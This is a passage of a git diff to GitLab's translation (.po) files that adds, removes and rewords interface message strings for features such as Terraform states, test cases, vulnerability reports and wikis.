@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/az_AZ/gitlab.po b/locale/az_AZ/gitlab.po
index b68384c0f79..89369f55fb2 100644
--- a/locale/az_AZ/gitlab.po
+++ b/locale/az_AZ/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: az\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:41\n"
+"PO-Revision-Date: 2020-12-03 08:10\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
